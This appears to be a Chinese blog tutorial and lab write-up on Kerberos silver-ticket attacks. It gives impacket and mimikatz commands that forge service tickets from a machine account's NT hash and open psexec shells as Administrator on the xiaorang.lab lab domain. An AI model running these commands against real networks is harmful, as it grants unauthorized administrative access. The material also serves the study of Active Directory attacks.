Silver tickets

说在前面

当你获得了一个机器用户的NTLM形式的hash,那你如何登录进这台机器呢(不能PTH的情况)?

对于初学的我,直接宕机了,不过办法那确实是有的,就是本文所提到的Silver tickets攻击

Theory

服务账户的长期密钥可以用来伪造服务票据,稍后可以使用传递票据的方法访问该服务。在银票场景中,攻击者会伪造包含请求用户任意信息的服务票据,从而授予大量访问权限。

其中有个与金票很大的不同点就是银票攻击不会与域控制器(DC)进行交互,直接伪造Service Ticket来访问特定服务。而进行本次攻击的条件也很简单,就是拥有服务账户用户的NT hash或AES key

服务账户常见的分为两种,一种是机器用户,

1
2
3
4
FILESERVER$      # 文件服务器
WEBSERVER$ # Web服务器
SQLSERVER$ # SQL服务器
EXCHANGE01$ # Exchange服务器

而另一种是服务用户账户

1
2
3
4
5
svc_sql          # SQL Server服务账户
svc_iis # IIS应用池账户
svc_sharepoint # SharePoint服务账户
svc_exchange # Exchange服务账户
app_service # 应用程序服务账户

Practice

linux

第一步我们查询域的SID,其中DomainUser应该和NThash相对应

1
impacket-lookupsid -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0

然后申请银票即可

1
2
3
4
5
# with an NT hash
impacket-ticketer -nthash "$NT_HASH" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"

# with an AES (128 or 256 bits) key
impacket-ticketer -aesKey "$AESkey" -domain-sid "$DomainSID" -domain "$DOMAIN" -spn "$SPN" "username"

再导入银票,修改hosts进行无密码连接即可。

1
2
3
impacket-psexec Administrator@FILESERVER.xiaorang.lab -k -no-pass -codec gbk

impacket-psexec Administrator@FILESERVER.xiaorang.lab -k -no-pass -codec gbk

有师傅可能会说,诶TM的,为什么不指定域控制器呢,哥哥~,我们不与DC交互的

windows

在Windows里面意味着我已经登录上去了,所以我更加可能会根据域图分析去进行其他的攻击,比如s4u啥的,而不是这个基本银票,但是写写记录一下,运行猕猴桃,得到hash的情况下这么去申请银票

1
2
3
4
5
6
7
8
# with an NT hash
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$serviceAccount_NThash /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt

# with an AES 128 key
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$serviceAccount_aes128_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt

# with an AES 256 key
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$serviceAccount_aes256_key /user:$username_to_impersonate /target:$targetFQDN /service:$spn_type /ptt

RW Practice

现在得到MSSQLSERVER$的NThash为c8146f80f2e526483100ff7f57ff53f4,172.22.2.3为DC地址,172.22.2.16为目标攻击服务器

1
impacket-lookupsid -hashes ':c8146f80f2e526483100ff7f57ff53f4' 'xiaorang.lab/MSSQLSERVER$@172.22.2.3' 0

得到sid为S-1-5-21-2704639352-1689326099-2164665914,接着伪造机器的管理员申请银票。

常见的SPN服务:

1
2
3
4
5
6
7
8
# 文件共享 
"CIFS/MSSQLSERVER.xiaorang.lab"

# 主机服务
"HOST/MSSQLSERVER.xiaorang.lab"

# 专属服务
"MSSQLSvc/MSSQLSERVER.xiaorang.lab:1433"

一般文件共享就能成功了

1
2
3
4
5
6
7
echo "172.22.2.16 MSSQLSERVER.xiaorang.lab" >> /etc/hosts

impacket-ticketer -nthash "c8146f80f2e526483100ff7f57ff53f4" \
-domain-sid "S-1-5-21-2704639352-1689326099-2164665914" \
-domain "xiaorang.lab" \
-spn "CIFS/MSSQLSERVER.xiaorang.lab" \
"administrator"

导入票据,无密码连接上去就行

1
2
3
export KRB5CCNAME=administrator.ccache

impacket-psexec Administrator@MSSQLSERVER.xiaorang.lab -k -no-pass -codec gbk

下文

一个更隐蔽的银票替代方案是利用 S4U2self,通过依赖 Kerberos 委托而不是伪造一切,来冒充目标机器上具有本地管理员权限的域用户。